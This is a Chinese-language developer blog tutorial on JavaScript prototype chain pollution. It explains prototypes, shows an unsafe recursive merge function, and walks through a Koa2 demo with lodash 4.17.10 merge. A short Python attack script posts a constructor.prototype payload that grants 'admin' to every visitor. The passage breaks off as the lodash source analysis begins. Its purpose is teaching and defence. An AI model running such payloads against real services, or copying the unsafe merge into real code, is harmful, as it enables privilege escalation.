作为前端开发者,某天偶然遇到了原型链污染漏洞,原本以为没有什么影响,好奇心驱使下,抽丝剥茧,发现原型链污染漏洞竟然也可以拿下服务器的shell管理权限,不可不留意!
某天正奋力的coding,机器人给发了这样一条消息
查看发现是一个叫“原型链污染”(Prototype chain pollution
)的漏洞,还好这只是 dev 依赖,当前功能下几乎没什么影响,其修复方式可以通过升级包版本即可。
“原型链污染”漏洞,看起来好高大上的名字,和“互联网黑话”有得一拼,好奇心驱使下,抽丝剥茧地研究一番。
目前该漏洞影响了框架常用的有:
Lodash
<= 4.15.11Jquery
< 3.4.0- ...
0x00 同学实现一下对象的合并?
面试官让被面试的同学写个对象合并,该同学一听这问题,就这,就这,30s
就写好了一份利用递归实现的对象合并,代码如下:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
可是面试的同学不知道,他实现的代码,会埋下一个原型链污染的漏洞,大家下次面试新同学的时候,可以问问了
为啥会有原型链污染漏洞?
那么接下来,我们一起深入浅出地认识一下原型链漏洞,以便于在日常开发过程中就规避掉这些可能的风险。
0x01 JavaScript中的原型链
1.1 基本概念
在javaScript中,实例对象与原型之间的链接,叫做原型链。其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法。然后层层递进,就构成了实例与原型的链条,这就是所谓原型链的基本概念。
三个名词:
- 隐式原型:所有引用类型(函数、数组、对象)都有
__proto__
属性,例如arr.__proto__
- 显式原型:所有函数拥有
prototype
属性,例如:func.prototype
- 原型对象:拥有
prototype
属性的对象,在定义函数时被创建
原型链之间的关系可以参考图1.1:
图1.1 原型链关系图
1.2 原型链查找机制
当一个变量在调用某方法或属性时,如果当前变量并没有该方法或属性,就会在该变量所在的原型链中依次向上查找是否存在该方法或属性,如果有则调用,否则返回undefined
1.3 哪里会用到
在开发中,常常会用到 toString()
、valueOf()
等方法,array
类型的变量拥有更多的方法,例如forEach()
、map()
、includes()
等等。例如声明了一个arr
数组类型的变量,arr变量却可以调用如下图中并未定义的方法和属性。
通过变量的隐式原型可以查看到,数组类型变量的原型中已经定义了这些方法。例如某变量的类型是Array
,那么它就可以基于原型链查找机制,调用相应的方法或属性。
1.4 风险点分析&原型链污染漏洞原理
首先看一个简单的例子:
代码语言:javascript复制var a = {name: 'dyboy', age: 18};
a.__proto__.role = 'administrator'
var b = {}
b.role // output: administrator
实际运行结果如下:
运行结果
可以发现,给隐式原型增加了一个role
的属性,并且赋值为administrator
(管理员)。在实例化一个新对象b
的时候,虽然没有role
属性,但是通过原型链可以读取到通过对象a在原型链上赋值的‘administrator
’。
问题就来了,__proto__
指向的原型对象是可读可写的,如果通过某些操作(常见于merge
,clone
等方法),使得黑客可以增、删、改原型链上的方法或属性,那么程序就可能会因原型链污染而受到DOS
、越权等攻击
0x02 Demo演示 & 组合拳
2.1 Demo演示
Demo使用koa2
来实现的服务端:
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");
const app = new Koa();
app.use(bodyParser());
// 合并函数
const combine = (payload = {}) => {
const prefixPayload = { nickname: "bytedanceer" };
// 用法可参考:https://lodash.com/docs/4.17.15#merge
_.merge(prefixPayload, payload);
// 另外其他也存在问题的函数:merge defaultsDeep mergeWith
};
app.use(async (ctx) => {
// 某业务场景下,合并了用户提交的payload
if(ctx.method === 'POST') {
combine(ctx.request.body);
}
// 某页面某处逻辑
const user = {
username: "visitor",
};
let welcomeText = "同学,游泳健身,了解一下?";
// 因user.role不存在,所以恒为假(false),其中代码不可能执行
if (user.role === "admin") {
welcomeText = "尊敬的VIP,您来啦!";
}
ctx.body = welcomeText;
});
app.listen(3001, () => {
console.log("Running: http://localohost:3001");
});
当一个游客用户访问网址:http://127.0.0.1:3001/ 时,页面会显示“同学,游泳健身,了解一下?”
可以看到在代码中使用了loadsh
(4.17.10版本)的merge()
函数,将用户的payload
和prefixPayload
做了合并。
乍一看,似乎并没有什么问题,对于业务似乎也不会产生什么问题,无论用户访问什么都应该只会返回“同学,游泳健身,了解一下?”这句话,程序上user.role
是一个恒为为undefined
的条件,则永远不会执行if
判断体中的代码。
然而使用特殊的payload
测试,也就是运行一下我们的attack.py
脚本
当我们再访问http://127.0.0.1:3001时,会发现返回的结果如下:
瞬间变成了健身房的VIP对吧,可以快乐白嫖了?此时,无论什么用户访问这个网址,返回的网页都会是显示如上结果,人人VIP时代。如果是咱写的代码在线上出现这问题,【事故通报】了解一下。
attact.py 的代码如下:
代码语言:javascript复制import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('攻击完成!')
攻击代码中的payload:{"constructor": {"prototype": {"role": "admin"}}}
通过merge()
函数实现合并赋值,同时,由于payload
设置了constructor
,merge
时会给原型对象增加role
属性,且默认值为admin
,所以访问的用户变成了“VIP”
2.2 分析一下loadsh中merge函数的实现
分析的lodash
版本4.17.10(感兴趣的同学可以拿到源码自己手动追溯